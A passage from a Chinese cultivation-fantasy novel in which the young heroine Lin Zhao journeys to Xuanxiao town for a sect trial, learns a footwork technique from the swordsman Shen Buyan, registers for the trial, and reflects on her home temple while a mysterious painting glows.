不是具体的山形,不是清晰的轮廓,而是一种“存在感”。像种子在泥土里等待发芽,像花苞在枝头等待绽放,像……像一个未完成的梦,在等待有人把它做完。
林照睁开眼睛。
画还是那幅画,墨点还是那个墨点。但有什么东西,不一样了。
她把画重新卷好,贴身收好。然后吹灭油灯,躺到床上。
窗外传来打更的声音:二更天了。
她闭上眼睛,却睡不着。脑子里反复回响着今天听到的那些话:筑基丹、金丹真人、内门弟子、九成淘汰率……
还有陈砚说的:有些路,明知道走不通,也得走一走。
她翻了个身,手无意中碰到怀里的另一件东西——那枚干枯的麦穗。
麦穗很轻,很脆,但她握着它,就像握着一整片麦田,握着晒谷观三百年的风雨,握着老谷头临终前平静的笑容。
“师父,”她轻声说,“您说的对。仙不在天上,在我想去的地方。”
“我想去的地方……”
她喃喃着,渐渐睡去。
第二天辰时,林照准时出现在镇口槐树下。
陈砚已经等在那儿了。他换了身干净的青布衫,背着一个书篓,书篓里插着几卷书,还有那把折扇。看见林照,他笑着招手:“林姑娘,早!”
“早。”
两人结伴上路。
从青阳镇到玄霄阁山脚,还有一百二十里路。陈砚显然做过功课,边走边给林照介绍沿途风物。
“前面三十里是‘一线天’,两山夹一缝,路窄难行,常有劫道的。不过这个时节,去玄霄阁的人多,结伴而行,应该安全。”
“过了‘一线天’,是‘落霞坡’。那里有个茶摊,老板娘煮的茶是一绝,用的山泉水,泡野菊花,清甜解渴。”
“再往前就是‘玄霄镇’,就在玄霄阁山脚下。咱们得在那儿落脚,等试炼开始。”
林照静静听着。陈砚说话条理清晰,不急不缓,听着让人安心。
走了一个时辰,果然到了“一线天”。
两座陡峭的山峰几乎贴在一起,中间只留出一条三尺来宽的石缝。石缝里光线昏暗,抬头只见一线天光,故名“一线天”。路确实难走,石阶湿滑,有的地方需要手脚并用。
石缝里已经有不少人在走。有锦衣华服的世家子弟,有衣衫褴褛的散修,有结伴同行的,也有独来独往的。所有人都朝着同一个方向,像百川归海。
林照在人群中看见了不少熟悉的面孔——不是真的认识,是那种“同类”的感觉。有人的眼神和她一样,干净,好奇,带着点不知所措;有人的眼神则充满野心,像饿狼盯着猎物。
她默默观察,默默感受。
“见云”境带来的感知,在这种拥挤的环境里格外敏锐。她能“感觉”到每个人的“气”——有的浮躁,有的沉稳,有的锋利,有的温和。这些“气”在狭窄的石缝里碰撞、交融,形成一种奇特的氛围。
像一锅正在熬煮的汤,各种食材的味道还没融合,但已经能闻到香气了。
“小心。”
陈砚忽
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然拉住她。林照低头,看见脚下有个水坑,差点踩进去。
“谢谢。”她说。
陈砚笑笑:“林姑娘走路时总走神,在想什么?”
“没什么。”林照顿了顿,“就是觉得……人真多。”
“这才哪到哪。”陈砚说,“等到了玄霄镇,那才叫人多。听说往年试炼,山脚下的客栈都住满了,不少人只能露宿街头。”
“那……”
“放心,我提前订了房间。”陈砚眨眨眼,“我爹虽然没修成仙,但做生意是一把好手。在玄霄镇有间小铺子,常年租给去试炼的人。我留了一间,够咱俩住。”
林照愣住了:“这怎么好意思……”
“有什么不好意思的。”陈砚摆摆手,“出门在外,互相照应。再说了,那房间本来就是空着,你不住也是空着。”
他说得随意,但林照听出了真诚。
这个人,和她遇到的所有人都不一样。老谷头是师长,周言是痴人,铁匠、渔夫、老妇人都是萍水相逢的过客。而陈砚……像是同行者。
不是同道,是同行——走在同一条路上,但目的地未必相同。
又走了一个时辰,终于出了“一线天”。
眼前豁然开朗。
一片开阔的山坡,坡上长满野菊花。时值初秋,菊花正开得热闹,黄灿灿的一片,在阳光下像铺了一地碎金。坡顶果然有个茶摊,竹棚茅顶,简陋但干净。
茶摊里已经坐了不少人。老板娘是个四十来岁的妇人,手脚麻利,笑容爽朗。见林照和陈砚过来,热情招呼:“两位客官,喝茶歇脚?刚煮好的菊花茶,清热降火!”
两人要了两碗茶,在棚外找了块石头坐下。
茶确实好。清甜,有菊花的香气,还有一丝山泉特有的甘冽。林照慢慢喝着,看着坡下蜿蜒的山路,看着路上络绎不绝的行人。
“陈公子,”她忽然问,“你觉得,这些人里,有多少能通过试炼?”
陈砚端着茶碗,想了想:“百不存一。”
“那为什么还有这么多人来?”
“因为希望。”陈砚说,“哪怕只有万分之一的机会,那也是机会。对于有些人来说,这是改变命运的唯一可能。”
他指了指茶摊里一个年轻人。那人衣衫破旧,但洗得干净,手里捧着一本破旧的书,看得入神。书页泛黄,边角磨损,显然被翻过无数遍。
“看见那个书生了吗?”陈砚压低声音,“他叫赵平,北封城东郊赵家村的。家里穷,父母早亡,靠给地主家放牛为生。但他识字,有天分,自己摸索着修炼,十五岁就炼气三层了。”
“然后呢?”
“然后地主家的少爷嫉妒他,找了个由头把他赶出村子。”陈砚说,“他流浪三年,就为了等这次试炼。他说,要是进不了玄霄阁,就跳崖。”
林照心头一紧。
“那边那个姑娘。”陈砚又指向另一个角落。那是个红衣少女,容貌秀丽,但眉宇间有股倔强,“她叫柳如眉,柳家庄的大小姐。柳家庄是个小修仙世家,到她这一代没落了。她爹想把她嫁给另一个世家子弟联姻,她逃婚出来的。”
“逃婚?”
“对。”陈砚点头,“她说宁可死在试炼里,也不嫁给自己不喜欢的人。”
林照默默听着,看着茶摊里形形色色的人。每个人都有自己的故事,自己的执念,自己的路。
“那你呢?”她看向陈砚,“你的故事是什么?”
陈砚愣了愣,笑了:“我的故事最没意思。我爹想让我修仙光宗耀祖,我自己……其实无所谓。修也行,不修也行。就是觉得,来都来了,看看也挺好。”
他说得轻松,但林照听出了话里的无奈。
不是所有人都像赵平那样孤注一掷,像柳如眉那样背水一战。更多的人像陈砚,被推着走,被裹挟着,在洪流里找不到自己的方向。
“茶喝完了,走吧。”陈砚站起身,“天黑前得赶到玄霄镇。”
林照也站起来。
两人继续上路。坡上的野菊花在风中摇曳,像在为他们送行。
走到坡顶时,林照回头看了一眼。
茶摊还在那儿,老板娘还在忙碌,那些怀揣梦想的年轻人还在喝茶、休息、赶路。阳光下,一切平凡而真实。
她忽然想起周言画里的那个墨点。
或许,每个人心里都有一个墨点。有人把它画成山,有人把它画成云,有人把它画成等待的小屋。而她自己呢?她的墨点是什么?
她不知道。
但她知道,她会一直走,一直找。
直到把那个墨点,画成自己心里的风景。
12. 晒谷步法
玄霄镇比林照想象中更大,也更拥挤。
镇子依山而建,从山脚一直延伸到半山腰。青石板铺成的街道纵横交错,两侧是密密麻麻的店铺、客栈、茶楼、酒肆。街上行人摩肩接踵,有锦衣华服的世家子弟,有风尘仆仆的散修,有吆喝叫卖的小贩,还有维持秩序的玄霄阁外门弟子——他们穿着统一的青色劲装,胸口绣着云纹,在人群中格外显眼。
陈砚家的铺子在镇子西头,是座两层小楼。一楼卖些符纸、朱砂、低阶丹药之类的修行用品,二楼隔出三间客房。店面不大,但位置不错,离试炼报名的广场只有两条街。
“到了。”陈砚掏出钥匙打开门,“我爹说,这铺子开了三十年,每年就靠试炼这一个月赚钱。”
铺子里有个伙计在照看,是个精瘦的中年人,看见陈砚连忙迎上来:“少爷回来了!房间给您留着呢,天字一号房,窗朝南,通风好。”
陈砚点点头,带林照上楼。
天字一号房确实不错。房间不大,但干净整洁,一张床,一张桌,一把椅,还有个小窗户。推开窗,能看见远处的山峦和近处的屋顶。阳光照进来,暖洋洋的。
“林姑娘住这儿,听伙计说隔壁住着个奇怪的邻居,我住对面。”陈砚说,“有事随时叫我。”
安顿下来后,林照想去街上看看。
陈砚要照看铺子——他爹临走前交代,试炼期间生意最忙,得帮着打理。林照便一个人出了门。
街上果然热闹非凡。
卖丹药的摊子前围满了人,摊主是个白胡子老头,举着个瓷瓶唾沫横飞:“上品聚气丹!服一粒可抵三日苦修!限量十瓶,先到先得!”
卖法器的铺子门口挂着各式刀剑,寒光闪闪。有年轻修士在试剑,剑锋划过空气发出尖啸,引来一片喝彩。
最热闹的是广场中央的报名处。十几个玄霄阁弟子坐在长桌后,面前排着长长的队伍。排队的人有的紧张,有的兴奋,有的面无表情。每隔一会儿,就有人被叫到桌前测试骨龄、修为——骨龄超过二十五,修为低于炼气三层,直接淘汰。
林照在人群外围看了一会儿。她没去排队——陈砚说过,报名要持续三天,不急。
她转身走进旁边的小巷,想找个清静地方。
巷子很深,两侧是高墙,墙上爬满青藤。越往里走,人声越远,最后只剩下自己的脚步声和风吹过藤叶的沙沙声。巷子尽头有口古井,井边有棵老槐树,树下摆着几个石凳。
林照在石凳上坐下,从怀里取出那幅画。
解开红丝带,展开卷轴。午后的阳光透过槐树叶隙洒在纸上,斑斑驳驳。那个墨点静静躺在宣纸中央,米粒大小,黝黑深沉。
她盯着墨点看了很久。
然后闭上眼,调动“见云”境的感知。
这一次,她“看”得更清晰了。墨点里确实有东西在动——不是形状的变动,是“气”的流动。像泉水在地下暗涌,像种子在泥土里呼吸,像……像一座山在缓慢生长。
她睁开眼,忽然发现:墨点的颜色,在阳光下似乎深了一分。
不是错觉。她用手指轻轻触摸墨点边缘,指尖传来微微的温热感——像是墨里掺了什么特殊的东西,会在特定光线下产生反应。
“有趣吗?”
一个声音忽然响起。
林照猛地抬头,看见巷口站着个人。是个年轻男子,约莫二十三四岁,一身洗得发白的蓝布衫,腰间挂着把无鞘长剑。剑很旧,剑柄磨得发亮,剑身上有细密的划痕。他面容清瘦,眉骨很高,眼睛细长,眼神很静,像深井里的水。
最特别的是他的站姿——双脚不丁不八,看似随意,但林照能“感觉”到,他的重心稳得像扎根的树,全身没有一丝多余的劲。
这是个高手。
林照收起画卷,站起身:“您是?”
“沈不言。”男子声音很平,没什么起伏,“住你隔壁。”
林照愣了愣。想起陈砚说的“隔壁住着一个奇怪的邻居”——应该就是他了。
“林照。”她说。
沈不言点点头,目光落在她手里的画卷上:“周言的画?”
林照心头一震:“您认识周先生?”
“见过。”沈不言走进巷子,在井边坐下,“三年前,在北封城。他在街头作画,画一座不存在的山。我在旁边看了一天。”
他的说话方式很特别,句子短,停顿多,像在斟酌每个字的分量。
“然后呢?”林照问。
“然后他画完了,画自燃了。”沈不言说,“天火焚画,不留痕迹。围观的人都说他是骗子,是耍戏法的。只有我知道,那是真的。”
“为什么?”
“因为我也看见过。”沈不言抬头看天,“那座山。”
林照屏住呼吸。
沈不言却不再说山的事,转而问:“你是来参加试炼的?”
“是。”
“为什么?”
这个问题今天第二次被问到。林照想了想,给出同样的答案:“想看看这天地有多大,想看看自己能走多远。”
沈不言看了她一眼,眼神里有东西闪了闪:“好。”他说,“但玄霄阁的路,不好走。”
“我知道。”
“你不知道。”沈不言说,“他们考的是‘标准答案’。你的答案,不是他们要的。”
林照沉默了。陈砚也说过类似的话。
沈不言站起身,走到巷子中央。他忽然拔剑——动作很慢,但很稳。剑尖斜指地面,整个人像一张拉满的弓。
“看好了。”他说。
然后他开始舞剑。
不是那种花哨的剑法,是很朴素的招式。劈、刺、撩、抹、削,每个动作都干净利落,没有多余的花招。但林照能“看”到——在“见云”境的感知里,沈不言的剑不是死的,是活的。剑锋划过的轨迹,像水流过石缝,像风吹过麦浪,自然而然地找到阻力最小的路径。
最让她惊讶的是沈不言的步法。
看似简单的前进、后退、侧移,但每一步都恰到好处。像在雨中行走,能避开每一滴雨;像在麦田里穿行,能不碰倒一株麦穗。
“这是……”林照喃喃。
“晒谷步法。”沈不言收剑,气息平稳,“你师父没教你?”
林照愣住了。晒谷步法?师父从没提过……
等等。
她忽然想起,在晒谷观时,每年秋天晒谷子,要在晒谷场上铺开麦穗,又要收起来。晒谷场不大,麦穗铺得满,人在上面走,不能踩到麦穗,又要走得快。师父示范过一种特别的走法:脚步轻,落脚准,转身时像麦浪起伏一样自然。
她当时只觉得那是干活的技巧,从来没想过……
“步法不是学来的,是活出来的。”沈不言说,“你在晒谷观长大,天天在麦田里走,在药田里蹲,在晒谷场上转——你的身体,早就记住了那种节奏。”
他顿了顿:“试着走一走。别想步法,想麦浪。”
林照看着空荡荡的巷子,闭上眼。
她想晒谷观秋天的麦田。风吹过时,麦浪起伏,一层推着一层,像金色的海。人在田埂上走,要顺着麦浪的起伏,不然会绊倒。
她睁开眼,迈出第一步。
脚步很轻,落地时脚掌先着地,然后脚踝微转,把力量均匀分散。第二步,身体微微侧倾,像麦秆被风吹弯。第三步,转身,不是硬转,是顺着身体的惯性,像麦穗在风中摇摆。
很别扭。因为她在“想”,而不是“做”。
“错了。”沈不言说,“别想。走。”
林照深吸口气,闭上眼。这次,她不“想”了。她让自己回到晒谷观,回到那片麦田。她是个收麦子的农人,要在麦浪里穿行,要避开倒伏的麦穗,要找到最省力的路。
她开始走。
第一步,依然别扭。第二步,好了一点。第三步、第四步……渐渐地,她的脚步变得流畅起来。不是刻意的流畅,是那种劳作多年形成的、肌肉记忆里的流畅。像水流下坡,像风吹过林,自然而然。
巷子不长,她走到头,又走回来。
走到沈不言面前时,她睁开眼,发现沈不言在点头。
“有点意思了。”他说,“但还不够‘空’。”
“空?”
“步法要空,心也要空。”沈不言说,“像麦浪,风吹就动,风停就静。没有‘我要怎么走’的念头,只有‘风来了,我动了’的反应。”
林照似懂非懂。
沈不言也不多解释,只说:“每天练。早上练,晚上练,走路时练,吃饭时练。练到忘记自己在练,就对了。”
他收起剑,转身要走。
“沈先生,”林照叫住他,“您为什么要教我?”
沈不言停下脚步,没回头:“因为你的步法里,有麦香。”他顿了顿,“这年头,身上还带着泥土味的人,不多了。”
说完,他走出巷子,消失在拐角。
林照站在原地,回味着刚才的话。
身上还带着泥土味的人……
她低头看看自己的手。手掌有茧,指甲缝里还残留着前几天帮渔夫补网时沾的麻线屑。她确实和街上那些锦
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衣华服的修士不一样——他们身上是熏香味、丹药味、剑气锋芒味。而她,是泥土味、麦香味、草药味。
她忽然不觉得这有什么不好了。
回到铺子时,天已近黄昏。
陈砚正在柜台上算账,看见林照回来,笑道:“林姑娘逛得如何?可有什么新鲜事?”
“遇见个邻居。”林照说,“沈不言。”
陈砚手一顿,笔尖在账本上洇开一团墨:“你遇见他了?他说什么了?”
“教了我一套步法。”
陈砚放下笔,表情复杂:“沈不言这个人……很怪。他来镇上半个月了,整天闭门不出,偶尔出门就是去后山练剑。我听掌柜说,他剑法极高,但身上没有门派印记,是个散修。”他压低声音,“有人猜他是某个大宗门叛逃的弟子,也有人说他是隐居的高人之后。总之,离他远点为好。”
林照想起沈不言那双深井般的眼睛,点点头:“知道了。”
但心里想的却是:能说出“步法不是学来的,是活出来的”这种话的人,怎么可能是坏人?
晚饭是伙计做的,简单的一菜一汤。吃过饭,林照回房休息。
夜里,她躺在床上,回想白天沈不言教的步法。想着想着,忽然坐起身,在房间里试着走起来。
房间很小,走不了几步就到头。但她不在意,只是一遍遍地走,从床走到窗,从窗走到门。开始时还想着步法要领,后来渐渐忘了,只是走。脚步很轻,落地无声,像猫。
走了约莫半个时辰,她忽然停住。
因为她“听”到了——不是用耳朵,是用“见云”境的感知。她“听”到隔壁房间有极细微的声音:呼吸声,绵长平稳;还有……剑鸣声?不是真的鸣响,是剑气在空气中流动的“声音”。
沈不言在练剑。
林照闭上眼睛,将感知聚焦在隔壁。
她“看”到了——不是具体的影像,是气的流动。沈不言的剑气很特别,不是锋利的,是温润的。像春雨,细密无声,但能渗透万物。他在房间里舞剑,剑气在方寸之间流转,不碰墙壁,不碰家具,像水在容器里流动,自然填满每一处空隙。
最让她惊讶的是沈不言的呼吸。
呼吸与剑招完全同步。吸气时剑起,呼气时剑落,一呼一吸,一剑一招,浑然一体。就像……就像麦浪起伏与风的关系。
林照忽然明白了沈不言说的“空”。
不是真的空,是“无我”。不是“我在舞剑”,是“剑在舞”;不是“我在呼吸”,是“呼吸在呼吸”。人成了媒介,成了通道,让天地间的“气”自然流过。
她重新开始走步。
这次,她不“想”步法,也不想麦田。她只是走,让脚步自己找路。就像风吹麦浪,麦浪不知道风从哪里来,要往哪里去,只是顺着风的力道,自然而然地起伏。
一步,两步,三步……
渐渐地,她的呼吸与脚步同步了。吸气时抬脚,呼气时落脚。每一步都踏在呼吸的节点上,像钟摆一样规律。
她越走越慢,但越走越稳。房间里没有风,但她感觉自己像在麦浪里穿行,每一步都顺着某种看不见的“流”。
不知走了多久,她停下来,睁开眼。
窗外月色正好,银辉洒进房间,在地上铺出一片清光。她走到窗边,看见远处的山峦在月光下勾勒出朦胧的轮廓。
像一幅水墨画。
她忽然想起怀里的那幅画。取出来,在月光下展开。
月光照在宣纸上,那个墨点……在发光。
不是刺眼的光,是莹莹的微光,像夜明珠,像萤火虫。光很淡,但在夜色里清晰可见。更神奇的是,墨点周围,隐约浮现出极淡的轮廓——山的轮廓。虽然模糊,但确实是山。
林照屏住呼吸,盯着画看。
月光移动,轮廓也在变化。有时像险峰,有时像缓坡,有时像……像一座小屋的剪影。
她看了很久,直到月光偏斜,轮廓消失,墨点恢复原状。
她把画重新卷好,贴身收好。
躺在床上时,她还在想:周言画这座山,沈不言见过这座山,她现在在画里看见这座山。这座山……到底在哪里?
窗外的玄霄镇渐渐安静下来。远处传来打更的声音:三更天了。
林照闭上眼睛。
梦里,她走在一条山路上。路很陡,云雾缭绕,看不见前方。但她走得很稳,每一步都踏得很实。走着走着,云雾散开,她看见山顶有座小屋,屋里有光。
她朝着光走去。
脚步轻快,像在麦田里穿行。
13. 回望晒谷观
试炼报名的最后一日,玄霄镇下起了小雨。
不是暴雨,是那种细密的秋雨,像牛毛,像花针,密密地斜织着。青石板路被雨水润湿,泛起暗青色的光。屋檐滴水,滴滴答答,在街边的水洼里敲出细碎的涟漪。
林照撑着一把油纸伞,和陈砚一起走向广场。
街上人依然多,但比前两日少了些——该报名的都报了,没报的要么是还在犹豫,要么是自知不够格。伞与伞在狭窄的街道上碰撞,雨水从伞沿滑落,滴在行人肩上。没人抱怨,大家都沉默地走着,脸上有期待,有紧张,有茫然。
广场上搭起了临时的雨棚。十几个报名点前还排着队,但队伍短了很多。玄霄阁的弟子坐在棚下,有条不紊地登记、测试、发放号牌。雨打在棚顶上,噼啪作响,衬得棚下的安静格外肃穆。
林照选了最短的一队排着。陈砚陪在她身边,手里也撑着伞,伞面是淡青色的,画着几竿墨竹,在雨中显得很雅致。
“紧张吗?”陈砚问。
林照摇头。不是不紧张,是不知道紧张什么。她对试炼了解太少,对结果也没有太多期待——陈砚说的对,她来,只是想看看,想走走。
队伍缓慢前进。前面是个书生模样的年轻人,背挺得笔直,手里攥着一本泛黄的书。轮到他时,他小心翼翼地把书收进怀里,然后伸出手臂让考官测试骨龄。
考官是个三十来岁的女修,面容清冷,手法利落。她握住书生的手腕,闭目片刻,报出:“骨龄二十一,修为炼气四层。合格。”
书生松了口气,领了号牌,千恩万谢地走了。
下一个是个彪形大汉,满脸横肉,身上有股浓烈的血腥味。女修握住他手腕时皱了皱眉:“骨龄二十八,超龄。”
“什么?!”大汉瞪眼,“老子明明二十五!”
女修面无表情:“玄霄阁的测骨术不会错。下一个。”
大汉还想争辩,旁边维持秩序的弟子已经上前。他悻悻地瞪了女修一眼,转身走了,嘴里骂骂咧咧。
林照静静看着。她能“感觉”到,女修的修为很高——至少比她见过的所有人都高。但具体多高,她说不清。
终于轮到她了。
女修抬起眼,打量了她一下:“名字。”
“林照。”
“出身。”
林照顿了顿:“晒谷观。”
女修笔下停了一瞬,抬眼又看了看她:“那个山上的小道观?”
“是。”
女修没再多问,握住她的手腕。林照感到一股温和的灵力探入体内,像细流在经脉里游走。那灵力很谨慎,只在外围探查,没有深入——这是在测骨龄和基础修为。
片刻后,女修松开手,眼中闪过一丝讶异:“骨龄十六,修为……”她顿了顿,“炼气一层未满,但根基扎实,气息纯净。”她看着林照,“你修炼的功法很特别。”
林照没说话。
女修也不追问,低头登记,递给她一块木制号牌:“三千七百四十二号。三天后辰时,在此集合。过时不候。”
林照接过号牌。木牌很轻,刻着数字,还有玄霄阁的云纹印记。
她正要走,女修忽然又叫住她:“等等。”
林照回头。
女修看着她,眼神里有种说不清的东西:“你走路的方式……跟谁学的?”
林照心头一跳。她想起沈不言的话,想起自己这些天练的“晒谷步法”。难道刚才排队时,她无意识中流露出来了?
“自己走的。”她老实说。
女修盯着她看了半晌,终于挥挥手:“去吧。”
林照走出雨棚,陈砚迎上来:“怎么样?”
“过了。”
“那就好。”陈砚笑道,“走,我请你喝茶,庆祝一下。”
两人正要离开,忽然听见一个熟悉的声音:“林姑娘?”
林照转头,看见一个锦衣公子朝她走来——是青石镇铁匠铺遇见的那个李公子。他撑着一把精致的绸伞,伞面绣着金线,在细雨中熠熠生辉。身后跟着两个随从,也都衣着光鲜。
“李公子。”林照点头致意。
李公子走到近前,上下打量她,眼中露出惊讶:“真是你!我刚才远远看着就像,没想到真是!”他看了看林照手里的号牌,“你也来参加试炼?”
“是。”
李公子大笑:“缘分,真是缘分!”他一拍手,“走,我请客,咱们找个地方好好叙叙!”
陈砚看向林照,林照迟疑了一下,点点头。
三人来到广场边的一家茶楼。茶楼很雅致,二楼有临窗的雅座,推开窗就能看见广场全貌。李公子显然是熟客,掌柜亲自迎上来:“李公子来了!老位置给您留着呢!”
上了二楼,果然有个靠窗的雅座。李公子让随从在楼下等着,自己和林照、陈砚坐下。点了壶上好的碧螺春,又要了几样精致茶点。
“这位是?”李公子看向陈砚。
“陈砚,林姑娘的朋友。”陈砚拱手。
“陈兄。”李公子还礼,“在下李慕云,青石镇人士。家父做点小生意,不值一提。”
茶上来了。李慕云亲自斟茶,动作优雅,显然是世家子弟的做派。他先敬林照:“林姑娘,青石镇一别,李某一直想找机会道谢。那日若不是你点醒,我还真以为自己剑术了得,差点闹出笑话。”
林照接过茶:“李公子客气了,举手之劳。”
“对你来说是举手之劳,对我可是醍醐灌顶。”李慕云正色道,“回去后我苦思三日,终于明白:剑不是用来劈柴的,柴也不是用来试剑的。各物有各物的用处,各人有各人的路。”他顿了顿,“所以我才来参加试炼——想看看自己的路,到底在哪儿。”
这话说得诚恳,林照对他的印象改观不少。
陈砚在一旁听着,插话道:“李公子对这次试炼,可有什么内幕消息?”
李慕云笑了:“陈兄是明白人。”他压低声音,“不瞒二位,家父与玄霄阁一位外门执事有些交情。我从他那儿听到些风声——这次试炼,比往年更严。”
“怎么说?”
“第一关‘问心路’,往年是走完即可。今年……”李慕云环顾四周,声音更低,“今年考官会暗中观察考生在路上的表现。据说,有人在路上捡到灵石不报,被直接淘汰;有人为争先后动手,也被淘汰。总之,不仅是走完,更是‘如何走’。”
林照和陈砚对视一眼。
“第二关‘炼心台’呢?”陈砚问。
“这个更绝。”李慕云说,“往年是登台打坐,考验定力。今年改成‘幻境炼心’——具体是什么幻境,没人知道。但我听说,往年有人从幻境出来后就疯了,修为尽废。”
林照心头一凛。
“至于第三关‘争锋擂’……”李慕云摇摇头,“今年规则大改。不是一对一的擂台赛,是‘混战’。所有通过前两关的人,会被投进一个封闭场地,互相争夺信物。最后持有信物的三十人,才能入内门。”
陈砚倒吸一口凉气:“这……岂不是要自相残杀?”
“所以叫‘争锋’。”李慕云苦笑,“玄霄阁要的不是好好先生,是能在残酷竞争中活下来的人。”
茶楼里安静下来。窗外的雨还在下,淅淅沥沥,像在为他们的话伴奏。
良久,林照问:“李公子为什么要告诉我们这些?”
李慕云看着她,眼神复杂:“因为林姑娘你……不一样。”他顿了顿,“在青石镇时,你明明可以看我笑话,可以趁机讨好铁匠,可以要更多报酬。但你没有。你就事论事,有一说一。这样的人,现在不多了。”
他端起茶杯,轻轻转着:“我李慕云锦衣玉食长大,见过的都是趋炎附势之辈。来玄霄阁这一路,更是见识了人心险恶——为抢一个靠前的报名位置,有人暗中下毒;为打探消息,有人使美人计。只有林姑娘你……”他笑了,“身上还有泥土味。”
又是“泥土味”。
林照想起沈不言也这么说。
“所以我想,”李慕云认真地说,“如果这次试炼里,非得有个人走到最后,我希望是你这样的人。至少……你让我觉得,修仙这条路,不全是蝇营狗苟。”
他说完,把茶一饮而尽。
林照沉默了很久,才说:“谢谢。”
窗外,雨渐渐停了。
乌云散开,露出一角蓝天。阳光从云缝里漏下来,照在湿漉漉的屋顶上,照在青石板路上,照在广场上那些还未散去的人群身上。一切都被雨水洗过,干净,清新,像刚铺开的宣纸,等着人来书写。
李慕云起身告辞:“三日后试炼,希望还能见到二位。”他拱拱手,带着随从下楼了。
陈砚看着他的背影,感叹:“没想到,纨绔子弟里也有明白人。”
林照没说话。她望着窗外,望着雨后初晴的天空,望着远处连绵的山峦。山峦在雾气中若隐若现,像一幅淡墨山水。
“陈公子,”她忽然说,“我想一个人走走。”
陈砚愣了一下,随即点头:“好。晚饭前回来就行。”
林照下了茶楼,没有回铺子,而是往镇外走。
雨后的山路很滑,但她走得很稳。晒谷步法不知不觉间施展出来,脚步轻快,落
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地无声,像猫走过屋檐。她一直走,走到镇外的一座小山坡上。
坡顶有块平整的巨石,石面被雨水冲刷得干干净净。她在石上坐下,望向西方——那是晒谷观的方向。
虽然看不见。隔着千山万水,隔着云雾烟雨,但她知道,那里有片麦田,有间道观,有七个孩子,有一只叫阿茸的白羊。
她忽然很想念。
想念晒谷观清晨的鸡鸣,想念灶房里飘出的粥香,想念药田里金银花的味道,想念阿茸蹭她手时的温暖。也想念老谷头——想念他坐在门槛上抽旱烟的样子,想念他教她认药草时的耐心,想念他临终前平静的笑容。
离开晒谷观不过月余,却像过了很久很久。
这一个月里,她见过暴雨中的破庙,见过渔村的炊烟,见过驿站的眼泪,见过追杀与逃亡,见过人心的险恶与温暖,见过周言画里的山,见过沈不言手中的剑。
她走了很远的路,见了很多人,听了许多故事。
可此刻坐在山石上,回望来路,她忽然觉得——最重要的东西,还在晒谷观。不是麦子,不是药田,不是道观,是那种“活着”的感觉。是汗滴入土时的踏实,是麦香扑鼻时的满足,是阿茸蹭手时的温暖,是老谷头临终托付时的信任。
那才是她的根。
就像麦子,不管长得多高,穗子多重,根始终扎在土里。土在,根在,麦子就不会倒。
她从怀里取出那枚干枯的麦穗。
麦穗很轻,在掌心几乎感觉不到重量。但就是这轻飘飘的东西,让一个金丹真人放弃了飞升,让一个少女踏上了千里路。
她握着麦穗,闭上眼睛。
“师父,”她轻声说,“我走了很远,见了很多人。可我觉得,最好的风景,还是晒谷观的麦田。最好的味道,还是您熬的粥。最好的声音,还是阿茸的咩叫。”
风吹过山坡,带来雨后草木的清香。
“您说仙不在天上,在我想去的地方。我现在知道了——我想去的地方,不是玄霄阁,不是九重天阙,是任何一个能让我好好活着、认真看着的地方。”
“就像现在,坐在这块石头上,看雨后的山,想远方的家。这就是我想去的地方。”
她睁开眼,看见夕阳正从云层后探出头来。金色的光芒洒在山峦上,给每座山头都镶了一道金边。远处有归巢的鸟群,黑压压的一片,在天空中划出优美的弧线。
很美。
但她知道,晒谷观的夕阳,一定比这更美。因为那里有她亲手种下的麦子,有她亲手喂大的羊,有她亲手照料的药田,有等着她回去的家人们。
她从怀里又取出那幅画。
在夕阳的余晖中展开。画上的墨点,在金色的光线下,隐约浮现出山的轮廓。比昨晚在月光下更清晰些,但依然模糊,像隔着一层纱。
她看着画,又看看远山。
忽然明白了一件事:周言画里的山,不是具体的哪座山,是每个人心里的那座山。沈不言见过,周言见过,她也在画里见过——不是因为他们去了同一个地方,是因为他们心里,都有那样一座山。
一座不容于世、但真实存在的山。
一座在云上、有间小屋、有人在等的山。
她把画收好,站起身。
夕阳已经完全沉下去了,天边只剩一抹暗红。山风渐起,带着凉意。该回去了。
下山前,她最后回望了一眼西方。
然后从怀里摸出一把小刀——是老谷头留给她的,用来切药草的小刀。她在坐过的石头上,刻下几个字:
“再走一步,就一步。”
字刻得很浅,在暮色中几乎看不见。但她知道,它们在那儿。
就像晒谷观在她心里,永远在那儿。
她转身下山。
脚步很稳,一步一步,踏在湿滑的山路上。晒谷步法自然施展,像麦浪起伏,像风吹过林。
走到山脚时,天已经完全黑了。玄霄镇的灯火次第亮起,像地上的星河。
她望着那片灯火,忽然想起茶楼里李慕云说的话:这次试炼,比往年更严。
严就严吧。
她来,不是为了进玄霄阁,不是为了得筑基丹,不是为了被金丹真人看中。
她来,只是为了看看——看看这条路,能把她带到什么地方;看看自己心里的那座山,到底长什么样子;看看这天地之间,还有没有一片净土,能容得下一个想好好活着的人。
她迈开脚步,走进灯火里。
像一滴水,汇入江河。
像一粒麦,落进土地。
像一个人,走在自己的路上。
14. 试炼启程
试炼前夜,玄霄镇无眠。
子时已过,镇上的灯火却比往日更盛。客栈窗户里透出的光晕,在青石板路上投下一块块暖黄。街上还有人在走动,大多是参加试炼的修士——有的在最后冲刺修炼,有的在准备法器符箓,有的只是紧张得睡不着,在街头徘徊。
林照盘膝坐在房中床上,闭目调息。
她没有像其他人那样临阵磨枪。老谷头说过:修行是长路,不是百米冲刺。临时抱佛脚,抱来的也是浮萍,风一吹就散。
她只是在感受——感受这个夜晚的呼吸,感受这座镇子的脉动,感受千里之外晒谷观的方向传来的、若有若无的熟悉感。
呼吸渐深渐缓。
“见云”境的感知缓缓展开。她“听”到对面陈砚房里,翻书声窸窣——他大概在最后温习试炼规则。“听”到更远处的房间里,有人在低声诵咒,有人在擦拭剑锋,有人在辗转反侧。
然后,她“听”到了沈不言房里的声音。
不是翻书声,不是诵咒声,是剑鸣。
很轻,很细,像春蚕食叶,像露水滴檐。但林照能“感觉”到,那剑鸣里有东西——不是杀气,不是锋芒,是一种……沉静。像深潭的水,表面平静,底下却有无尽深邃。
她忽然想起老谷头说的那句话:“真正的剑,不在锋芒,在止。”
沈不言的剑,大概就是这样的剑。
她收敛心神,继续调息。就在这时,胸口忽然一热。
是那幅画。
林照睁开眼,从怀里取出画卷。油布包裹的卷轴在黑暗中散发着微弱的温热,像冬夜里的暖炉。她解开红丝带,缓缓展开。
然后,她愣住了。
画上的墨点,正在发光。
不是月光下的那种莹莹微光,是真正的光——淡金色的,温暖的光。光芒从墨点中心透出,照亮了整张宣纸。更神奇的是,在光芒中,墨点周围浮现出了完整的山形轮廓。
不是模糊的轮廓,是清晰的、细致的山形。
